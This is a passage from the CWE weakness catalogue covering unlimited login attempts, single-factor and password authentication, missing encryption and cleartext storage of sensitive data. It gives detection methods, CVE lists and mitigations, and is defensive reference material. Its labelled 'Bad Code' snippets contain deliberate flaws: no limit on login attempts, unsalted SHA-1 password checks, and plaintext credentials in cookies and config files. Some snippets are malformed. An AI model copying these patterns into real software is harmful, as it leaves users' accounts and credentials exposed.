##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Web Application Scanner

Web Services Scanner

Database Scanners

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

#### Dynamic Analysis with manual results interpretation

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Fuzz Tester

Framework-based Fuzzer

Cost effective for partial coverage:

Forced Path Execution

#### Manual Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

#### Automated Static Analysis - Source Code

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

**Automated Static Analysis****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

**References**

Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. < <http://www.wired.com/threatlevel/2009/01/professed-twitt/> >.

**Example 2:**

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

**Java Example:***Bad Code*

```
String username = request.getParameter("username");
String password = request.getParameter("password");
int authResult = authenticateUser(username, password);
```

However, the software makes no attempt to restrict excessive authentication attempts.

**Example 3:**

This code attempts to limit the number of login attempts by causing the process to sleep before completing the authentication.

**PHP Example:***Bad Code*

```
$username = $_POST['username'];
$password = $_POST['password'];
sleep(2000);
$isAuthenticated = authenticateUser($username, $password);
```

However, there is no limit on parallel connections, so this does not increase the amount of time an attacker needs to complete an attack.

**Example 4:**

In the following C/C++ example the validateUser method opens a socket connection, reads a username and password from the socket and attempts to authenticate the username and password.

**C/C++ Example:***Bad Code*

```
int validateUser(char *host, int port)
{
    int socket = openSocketConnection(host, port);
    if (socket < 0) {
        printf("Unable to open socket connection");
        return(FAIL);
    }
}
```



```

}
int isValidUser = 0;
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
    if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
        if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
            isValidUser = AuthenticateUser(username, password);
        }
    }
}
return(SUCCESS);
}

```

The validateUser method will continuously check for a valid username and password without any restriction on the number of authentication attempts made. The method should limit the number of authentication attempts made to prevent brute force attacks as in the following example code.

#### C/C++ Example:

Good Code

```

int validateUser(char *host, int port)
{
    ...
    int count = 0;
    while ((isValidUser == 0) && (count < MAX_ATTEMPTS)) {
        if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
            if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
                isValidUser = AuthenticateUser(username, password);
            }
        }
        count++;
    }
    if (isValidUser) {
        return(SUCCESS);
    }
    else {
        return(FAIL);
    }
}

```

#### Observed Examples

Reference	Description
CVE-1999-1152	Product does not disconnect or timeout after multiple failed logins.
CVE-1999-1324	User accounts not disabled when they exceed a threshold; possibly a resultant problem.
CVE-2001-0395	Product does not disconnect or timeout after multiple failed logins.
CVE-2001-1291	Product does not disconnect or timeout after multiple failed logins.
CVE-2001-1339	Product does not disconnect or timeout after multiple failed logins.
CVE-2002-0628	Product does not disconnect or timeout after multiple failed logins.

#### Potential Mitigations

##### Architecture and Design

Common protection mechanisms include:

- Disconnecting the user after a small number of failed attempts
- Implementing a timeout
- Locking out a targeted account
- Requiring a computational task on the user's part.

##### Architecture and Design

##### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [R.307.1]

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		287	Improper Authentication	699 1000	507
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf		799	Improper Control of Interaction Frequency	1000	1225
ChildOf		808	2010 Top 25 - Weaknesses On the Cusp	800	1244
ChildOf		812	OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management	809	1246
ChildOf		866	2011 Top 25 - Porous Defenses	900	1309
ChildOf		955	SFP Secondary Cluster: Unrestricted Authentication	888	1374
MemberOf		884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER	AUTHENT.MULTIPLE	Multiple Failed Authentication Attempts not Prevented
Software Fault Patterns	SFP34	Unrestricted authentication

### References

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

## CWE-308: Use of Single-factor Authentication

Weakness ID: 308 (Weakness Base)

Status: Draft

### Description

#### Summary

The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme.

#### Extended Description

While the use of multiple authentication schemes is simply piling on more complexity on top of authentication, it is inestimably valuable to have such measures of redundancy. The use of weak, reused, and common passwords is rampant on the internet. Without the added protection of multiple authentication schemes, a single mistake can result in the compromise of an account. For this reason, if multiple schemes are possible and also easy to use, they should be implemented and required.

#### Time of Introduction

- Architecture and Design

#### Applicable Platforms

##### Languages

- All

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

If the secret in a single-factor authentication scheme gets compromised, full authentication is possible.

#### Likelihood of Exploit

High

#### Demonstrative Examples

In both of these examples, a user is logged in if their given password matches a stored password:

##### C Example:

*Bad Code*

```
unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}
```

}

**Java Example:**

Bad Code

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}
```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

**Potential Mitigations****Architecture and Design**

Use multiple independent authentication schemes, which ensures that -- if one of the methods is compromised -- the system itself is still likely safe from compromise.

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		287	Improper Authentication	<b>699</b>	507
PeerOf		309	Use of Password System for Primary Authentication	1000	545
ChildOf		654	Reliance on a Single Factor in a Security Decision	1000	1012
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	<b>888</b>	1371
MemberOf		884	CWE Cross-section	<b>884</b>	1319

**Taxonomy Mappings**

Mapped Taxonomy Name	Mapped Node Name
CLASP	Using single-factor authentication

## CWE-309: Use of Password System for Primary Authentication

Weakness ID: 309 (Weakness Base)

Status: Draft

**Description****Summary**

The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms****Languages**

- All

**Common Consequences****Access Control****Bypass protection mechanism****Gain privileges / assume identity**

A password authentication mechanism error will almost always result in attackers being authorized as valid users.

**Likelihood of Exploit**

Very High

**Demonstrative Examples**

In both of these examples, a user is logged in if their given password matches a stored password:

**C Example:**

Bad Code

```

unsigned char *check_passwd(char *plaintext) {
    ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
    //Login if hash matches stored hash
    if (equal(ctext, secret_password())) {
        login_user();
    }
}

```

**Java Example:**

Bad Code

```

String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
    login_user();
}

```

This code fails to incorporate more than one method of authentication. If an attacker can steal or guess a user's password, they are given full access to their account. Note this code also exhibits CWE-328 (Reversible One-Way Hash) and CWE-759 (Use of a One-Way Hash without a Salt).

**Potential Mitigations****Architecture and Design**

In order to protect password systems from compromise, the following should be noted:

Passwords should be stored safely to prevent insider attack and to ensure that -- if a system is compromised -- the passwords are not retrievable. Due to password reuse, this information may be useful in the compromise of other systems these users work with. In order to protect these passwords, they should be stored encrypted, in a non-reversible state, such that the original text password cannot be extracted from the stored value.

Password aging should be strictly enforced to ensure that passwords do not remain unchanged for long periods of time. The longer a password remains in use, the higher the probability that it has been compromised. For this reason, passwords should require refreshing periodically, and users should be informed of the risk of passwords which remain in use for too long.

Password strength should be enforced intelligently. Rather than restrict passwords to specific content, or specific length, users should be encouraged to use upper and lower case letters, numbers, and symbols in their passwords. The system should also ensure that no passwords are derived from dictionary words.

**Architecture and Design**

Use a zero-knowledge password protocol, such as SRP.

**Architecture and Design**

Ensure that passwords are stored safely and are not reversible.

**Architecture and Design**

Implement password aging functionality that requires passwords be changed after a certain point.

**Architecture and Design**

Use a mechanism for determining the strength of a password and notify the user of weak password use.

**Architecture and Design**

Inform the user of why password protections are in place, how they work to protect data integrity, and why it is important to heed their warnings.

**Background Details**

Password systems are the simplest and most ubiquitous authentication mechanisms. However, they are subject to such well known attacks, and such frequent compromise that their use in the most simple implementation is not practical.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		287	Improper Authentication	699 1000	507
PeerOf		308	Use of Single-factor Authentication	1000	544
ChildOf		654	Reliance on a Single Factor in a Security Decision	1000	1012
ChildOf		724	OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management	711	1117
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	888	1371
PeerOf		262	Not Using Password Aging	1000	466

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Using password systems
OWASP Top Ten 2004	A3	CWE More Specific	Broken Authentication and Session Management

## CWE-310: Cryptographic Issues

Category ID: 310 (Category) Status: Draft

### Description

#### Summary

Weaknesses in this category are related to the use of cryptography.

### Applicable Platforms

#### Languages

- All

### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		254	Security Features	699	452
ChildOf		934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1360
ParentOf		311	Missing Encryption of Sensitive Data	699	548
ParentOf		320	Key Management Errors	699	564
ParentOf		325	Missing Required Cryptographic Step	699	570
ParentOf		326	Inadequate Encryption Strength	699	571
ParentOf		327	Use of a Broken or Risky Cryptographic Algorithm	699	573
ParentOf		328	Reversible One-Way Hash	699	578
ParentOf		329	Not Using a Random IV with CBC Mode	699	580
MemberOf		635	Weaknesses Used by NVD	635	983
ParentOf		780	Use of RSA Algorithm without OAEP	699	1195

### Relationship Notes

Some of these can be resultant.

### Functional Areas

- Cryptography

### Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Cryptographic Issues

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
485	Signature Spoofing by Key Recreation	

### References

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft. 2002.

### Maintenance Notes

This category is incomplete and needs refinement, as there is good documentation of cryptographic flaws and related attacks.

Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.

## CWE-311: Missing Encryption of Sensitive Data

Weakness ID: 311 (*Weakness Base*)

Status: Draft

### Description

#### Summary

The software does not encrypt sensitive or critical information before storage or transmission.

#### Extended Description

The lack of proper data encryption passes up the guarantees of confidentiality, integrity, and accountability that properly implemented encryption conveys.

#### Time of Introduction

- Architecture and Design
- Operation

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Confidentiality

##### Read application data

If the application does not use a secure channel, such as SSL, to exchange sensitive information, it is possible for an attacker with access to the network traffic to sniff packets from the connection and uncover the data. This attack is not technically difficult, but does require physical access to some portion of the network over which the sensitive data travels. This access is usually somewhere near where the user is connected to the network (such as a colleague on the company network) but can be anywhere along the path from the user to the end server.

##### Confidentiality

##### Integrity

##### Modify application data

Omitting the use of encryption in any program which transfers data over a network of any kind should be considered on par with delivering the data sent to each user on the local networks of both the sender and receiver. Worse, this omission allows for the injection of data into a stream of communication between two parties -- with no means for the victims to separate valid data from invalid. In this day of widespread network attacks and password collection sniffers, it is an unnecessary risk to omit encryption from the design of any system which might benefit from it.

#### Likelihood of Exploit

High to Very High

#### Detection Methods

##### Manual Analysis

##### High

The characterization of sensitive data often requires domain-specific understanding, so manual methods are useful. However, manual efforts might not achieve desired code coverage within limited time constraints. Black box methods may produce artifacts (e.g. stored data or unencrypted network transfer) that require manual evaluation.

##### Automated Analysis

Automated measurement of the entropy of an input/output source may indicate the use or lack of encryption, but human analysis is still required to distinguish intentionally-unencrypted data (e.g. metadata) from sensitive data.

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Network Sniffer

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Automated Monitored Execution

Man-in-the-middle attack tool

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

**Demonstrative Examples****Example 1:**

This code writes a user's login information to a cookie so the user does not have to login again later.

**PHP Example:**

*Bad Code*

```
function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```



The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

### Example 2:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

#### C Example:

*Bad Code*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
    ...
}
```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

### Example 3:

The following code attempts to establish a connection to a site to communicate sensitive information.

#### Java Example:

*Bad Code*

```
try {
    URL u = new URL("http://www.secret.example.org/");
    HttpURLConnection hu = (HttpURLConnection) u.openConnection();
    hu.setRequestMethod("PUT");
    hu.connect();
    OutputStream os = hu.getOutputStream();
    hu.disconnect();
}
catch (IOException e) {
    //...
}
```

Though a connection is successfully made, the connection is unencrypted and it is possible that all sensitive data sent to or received from the server will be read by unintended actors.

### Observed Examples

Reference	Description
CVE-2002-1949	Passwords transmitted in cleartext.
CVE-2004-1852	Product transmits Blowfish encryption key in cleartext.
CVE-2005-3140	Product sends file with cleartext passwords in e-mail message intended for diagnostic purposes.
CVE-2007-4786	Product sends passwords in cleartext to a log server.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password enables attacks against a server that is susceptible to replay (CWE-294).
CVE-2007-5626	Backup routine sends password in cleartext in email.
CVE-2007-5778	login credentials stored unencrypted in a registry key
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted
CVE-2008-0374	Printer sends configuration information, including administrative password, in cleartext.
CVE-2008-1567	storage of a secret key in cleartext in a temporary file
CVE-2008-3289	Product sends password hash in cleartext in violation of intended policy.
CVE-2008-4122	Chain: Use of HTTPS cookie without "secure" flag causes it to be transmitted across unencrypted HTTP.
CVE-2008-4390	Remote management feature sends sensitive information including passwords in cleartext.
CVE-2008-6157	storage of unencrypted passwords in a database
CVE-2008-6828	product stores a password in cleartext in memory

Reference	Description
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL.
CVE-2009-0964	storage of unencrypted passwords in a database
CVE-2009-1466	password stored in cleartext in a file with insecure permissions
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
CVE-2009-2272	password and username stored in cleartext in a cookie

## Potential Mitigations

### Requirements

Clearly specify which data or resources are valuable enough that they should be protected by encryption. Require that any transmission or storage of this data/resource should use well-vetted encryption algorithms.

### Architecture and Design

#### Threat Modeling

Using threat modeling or other techniques, assume that the data can be compromised through a separate vulnerability or weakness, and determine where encryption will be most effective. Ensure that data that should be private is not being inadvertently exposed using weaknesses such as insecure permissions (CWE-732). [R.311.1]

### Architecture and Design

Ensure that encryption is properly integrated into the system design, including but not necessarily limited to:

- Encryption that is needed to store or transmit private data of the users of the system

- Encryption that is needed to protect the system itself from unauthorized disclosure or tampering

Identify the separate needs and contexts for encryption:

- One-way (i.e., only the user or recipient needs to have the key). This can be achieved using public key cryptography, or other techniques in which the encrypting party (i.e., the software) does not need to have access to a private key.

- Two-way (i.e., the encryption can be automatically performed on behalf of a user, but the key must be available so that the plaintext can be automatically recoverable by that user). This requires storage of the private key in a format that is recoverable only by the user (or perhaps by the operating system) in a way that cannot be recovered by others.

### Architecture and Design

#### Libraries or Frameworks

When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.

For example, US government systems require FIPS 140-2 certification.

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.

Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong. [R.311.5]

**Architecture and Design****Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Implementation****Architecture and Design**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

**Implementation****Identify and Reduce Attack Surface****Defense in Depth**

Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.

This makes it easier to spot places in the code where data is being used that is unencrypted.

**Relationships**

Nature	Type	ID	Name	✓	Page
ChildOf	<b>C</b>	310	Cryptographic Issues	<b>699</b>	547
ChildOf	<b>C</b>	693	Protection Mechanism Failure	<b>1000</b>	1074
ChildOf	<b>C</b>	719	OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage	<b>629</b>	1114
ChildOf	<b>C</b>	720	OWASP Top Ten 2007 Category A9 - Insecure Communications	629	1115
ChildOf	<b>C</b>	729	OWASP Top Ten 2004 Category A8 - Insecure Storage	<b>711</b>	1119
ChildOf	<b>C</b>	803	2010 Top 25 - Porous Defenses	<b>800</b>	1229
ChildOf	<b>C</b>	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	<b>809</b>	1247
ChildOf	<b>C</b>	818	OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection	809	1248
ChildOf	<b>C</b>	861	CERT Java Secure Coding Section 49 - Miscellaneous (MSC)	<b>844</b>	1298
ChildOf	<b>C</b>	866	2011 Top 25 - Porous Defenses	<b>900</b>	1309
ChildOf	<b>C</b>	930	OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management	928	1358
ChildOf	<b>C</b>	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	<b>928</b>	1360
ChildOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	<b>888</b>	1377
ParentOf	<b>B</b>	312	<i>Cleartext Storage of Sensitive Information</i>	<b>699</b> <b>1000</b>	553
ParentOf	<b>B</b>	319	<i>Cleartext Transmission of Sensitive Information</i>	<b>699</b> <b>1000</b>	562
PeerOf	<b>B</b>	327	<i>Use of a Broken or Risky Cryptographic Algorithm</i>	1000	573
ParentOf	<b>V</b>	614	<i>Sensitive Cookie in HTTPS Session Without 'Secure' Attribute</i>	<b>699</b> <b>1000</b>	961

**Relationship Notes**

There is an overlapping relationship between insecure storage of sensitive information (CWE-922) and missing encryption of sensitive information (CWE-311). Encryption is often used to prevent an attacker from reading the sensitive data. However, encryption does not prevent the attacker from erasing or overwriting the data.

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Failure to encrypt data
OWASP Top Ten 2007	A8	CWE More Specific	Insecure Cryptographic Storage
OWASP Top Ten 2007	A9	CWE More Specific	Insecure Communications
OWASP Top Ten 2004	A8	CWE More Specific	Insecure Storage
WASC	4		Insufficient Transport Layer Protection
CERT Java Secure Coding	MSC00-J		Use SSLSocket rather than Socket for secure data exchange
Software Fault Patterns	SFP23		Exposed Data

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
31	Accessing/Intercepting/Modifying HTTP Cookies	
37	Lifting Data Embedded in Client Distributions	
65	Passively Sniff and Capture Application Code Bound for Authorized Client	
117	Interception	
155	Screen Temporary Files for Sensitive Information	
157	Sniffing Attacks	
158	Sniffing Network Traffic	
167	Lifting Sensitive Data from the Client	
169	Footprinting	
204	Lifting cached, sensitive data embedded in client distributions (thick or thin)	
258	Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Dynamic Update	
259	Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Patching	
260	Passively Sniffing and Capturing Application Code Bound for an Authorized Client During Initial Distribution	
383	Harvesting Usernames or UserIDs via Application API Event Monitoring	
384	Application API Message Manipulation via Man-in-the-Middle	
385	Transaction or Event Tampering via Application API Manipulation	
386	Application API Navigation Remapping	
387	Navigation Remapping To Propagate Malicious Content	
388	Application API Button Hijacking	
389	Content Spoofing Via Application API Manipulation	
477	Signature Spoofing by Mixing Signed and Unsigned Content	

**References**

[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 9, "Protecting Secret Data" Page 299. 2nd Edition. Microsoft. 2002.

[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 17: Failure to Protect Stored Data." Page 253. McGraw-Hill. 2010.

Frank Kim. "Top 25 Series - Rank 10 - Missing Encryption of Sensitive Data". SANS Software Security Institute. 2010-02-26. < <http://blogs.sans.org/appsecstreetfighter/2010/02/26/top-25-series-rank-10-missing-encryption-of-sensitive-data/> >.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Common Vulnerabilities of Encryption", Page 43.. 1st Edition. Addison Wesley. 2006.

[REF-1] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

**CWE-312: Cleartext Storage of Sensitive Information**

Weakness ID: 312 (Weakness Base)

Status: Draft

**Description**  
**Summary**

The application stores sensitive information in cleartext within a resource that might be accessible to another control sphere.

### Extended Description

Because the information is stored in cleartext, attackers could potentially read it. Even if the information is encoded in a way that is not human-readable, certain techniques could determine which encoding is being used, then decode the information.

### Terminology Notes

Different people use "cleartext" and "plaintext" to mean the same thing: the lack of encryption. However, within cryptography, these have more precise meanings. Plaintext is the information just before it is fed into a cryptographic algorithm, including already-encrypted text. Cleartext is any information that is unencrypted, although it might be in an encoded form that is not easily human-readable (such as base64 encoding).

### Time of Introduction

- Architecture and Design

### Applicable Platforms

#### Languages

- Language-independent

#### Architectural Paradigms

- Mobile Application

### Common Consequences

#### Confidentiality

##### Read application data

An attacker with access to the system could read sensitive information stored in cleartext.

### Demonstrative Examples

#### Example 1:

The following code excerpt stores a plaintext user account ID in a browser cookie.

##### Java Example:

*Bad Code*

```
response.addCookie( new Cookie("userAccountID", acctID);
```

Because the account ID is in plaintext, the user's account information is exposed if their computer is compromised by an attacker.

#### Example 2:

This code writes a user's login information to a cookie so the user does not have to login again later.

##### PHP Example:

*Bad Code*

```
function persistLogin($username, $password){
    $data = array("username" => $username, "password"=> $password);
    setcookie ("userdata", $data);
}
```

The code stores the user's username and password in plaintext in a cookie on the user's machine. This exposes the user's login information if their computer is compromised by an attacker. Even if the user's machine is not compromised, this weakness combined with cross-site scripting (CWE-79) could allow an attacker to remotely copy the cookie.

Also note this example code also exhibits Plaintext Storage in a Cookie (CWE-315).

#### Example 3:

The following code attempts to establish a connection, read in a password, then store it to a buffer.

##### C Example:

*Bad Code*

```
server.sin_family = AF_INET; hp = gethostbyname(argv[1]);
if (hp==NULL) error("Unknown host");
memcpy( (char *)&server.sin_addr,(char *)hp->h_addr,hp->h_length);
if (argc < 3) port = 80;
else port = (unsigned short)atoi(argv[3]);
server.sin_port = htons(port);
if (connect(sock, (struct sockaddr *)&server, sizeof server) < 0) error("Connecting");
```

```
...
while ((n=read(sock,buffer,BUFSIZE-1))!=-1) {
    write(dfd,password_buffer,n);
...

```

While successful, the program does not encrypt the data before writing it to a buffer, possibly exposing it to unauthorized actors.

#### Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext. This Java example shows a properties file with a plaintext username / password pair.

#### Java Example:

*Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.Idap.username=secretUsername
webapp.Idap.password=secretPassword
...

```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

#### ASP.NET Example:

*Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...


```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

### Observed Examples

Reference	Description
CVE-2001-1481	Plaintext credentials in world-readable file.
CVE-2001-1536	Usernames/passwords in cleartext in cookies.
CVE-2001-1537	Default configuration has cleartext usernames/passwords in cookie.
CVE-2002-1696	Decrypted copy of a message written to disk given a combination of options and when user replies to an encrypted message.
CVE-2002-1800	Admin password in plaintext in a cookie.
CVE-2004-2397	Plaintext storage of private key and passphrase in log file when user imports the key.
CVE-2005-1828	Password in cleartext in config file.
CVE-2005-2160	Authentication information stored in cleartext in a cookie.
CVE-2005-2209	Password in cleartext in config file.
CVE-2007-5778	login credentials stored unencrypted in a registry key
CVE-2008-0174	SCADA product uses HTTP Basic Authentication, which is not encrypted
CVE-2008-1567	storage of a secret key in cleartext in a temporary file
CVE-2008-6157	storage of unencrypted passwords in a database
CVE-2008-6828	product stores a password in cleartext in memory
CVE-2009-0152	chat program disables SSL in some circumstances even when the user says to use SSL.
CVE-2009-0964	storage of unencrypted passwords in a database
CVE-2009-1466	password stored in cleartext in a file with insecure permissions
CVE-2009-1603	Chain: product uses an incorrect public exponent when generating an RSA key, which effectively disables the encryption
CVE-2009-2272	password and username stored in cleartext in a cookie

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		311	Missing Encryption of Sensitive Data	<b>699</b>	548
				<b>1000</b>	



Nature	Type	ID	Name	V	Page
ChildOf	C	816	OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage	809	1247
ChildOf	G	922	Insecure Storage of Sensitive Information	699	1349 1000
ChildOf	C	934	OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure	928	1360
ChildOf	C	963	SFP Secondary Cluster: Exposed Data	888	1377
ParentOf	V	313	<i>Cleartext Storage in a File or on Disk</i>	699	556 1000
ParentOf	V	314	<i>Cleartext Storage in the Registry</i>	699	557 1000
ParentOf	V	315	<i>Cleartext Storage of Sensitive Information in a Cookie</i>	699	558 1000
ParentOf	V	316	<i>Cleartext Storage of Sensitive Information in Memory</i>	699	559 1000
ParentOf	V	317	<i>Cleartext Storage of Sensitive Information in GUI</i>	699	560 1000
ParentOf	V	318	<i>Cleartext Storage of Sensitive Information in Executable</i>	699	561 1000
MemberOf	V	884	CWE Cross-section	884	1319

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
PLOVER		Plaintext Storage of Sensitive Information
Software Fault Patterns	SFP23	Exposed Data

### Related Attack Patterns

